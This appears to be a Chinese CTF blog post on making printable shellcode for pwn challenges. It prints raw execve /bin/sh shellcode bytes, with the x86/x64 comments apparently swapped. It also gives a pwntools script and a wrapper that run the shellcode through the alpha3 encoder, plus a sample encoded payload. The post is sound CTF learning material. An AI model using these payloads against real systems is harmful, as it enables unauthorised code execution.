前言

第一次遇见由可视化字符串组成的shellcode视在mrctf2020的一道题里面,当只是大概知道怎么回事就没管过它了。后来在ciscn2022的初赛又遇见同类型题目,想用之前用过的shellcode去套,发现不行,生草了很久最后去蹭了一个可用的shellcode

正文

shellcode一般是指一段已经编辑好的execve函数(提权)的二进制内容(赋值各寄存器,call系统调用)。

在pwntools里可以用shellcraft.sh(),但是这个可能有点长(有时候会超出长度限制)

当然,还有一些祖传代码

1
2
3
4
5
6
7
8
9
10
11
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
#x64


shellcode=""
shellcode += "\x31\xf6\x48\xbb\x2f\x62\x69\x6e"
shellcode += "\x2f\x2f\x73\x68\x56\x53\x54\x5f"
shellcode += "\x6a\x3b\x58\x31\xd2\x0f\x05"
#x86

但是,这些shellcode如果转化成字符输入大多数会包含一些不可打印字符。而实际情况又经常会发生这种要求输入可见字符。

git clone https://github.com/TaQini/alpha3

这是用python2写的

使用:

git下来以后为了使用方便额外创建了两个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#pshellcode.py 
from pwn import *
context.arch='amd64'

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
shellcode += asm("jmp rsp;") #change it if you want

sc = shellcraft.sh()
sc +="jmp rsp;"

#print shellcode
print asm(sc)

这个用于客制化你要的shellcode(想要那种就其中改一下就行)

另一个

1
2
3
4
5
#pshellcode.sh
#!/bin/sh
python2 ./pshellcode.py > ./alpha3/shellcode
cd alpha3
./shellcode_x64.sh rax

alpha3pshellcode.sh,pshellcode.sh放同一个文件夹下面

使用时

./pshellcode.sh

1
2
lacktea@ubuntu:~/pwn/normal$ ./pshellcode.sh 
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a074K3D0H00

这是最普通的使用了,如果想进阶可以自己看看使用文档

ps:据说还有个ae64,但我搞了半天始终都不行,

2022-06-19

⬆︎TOP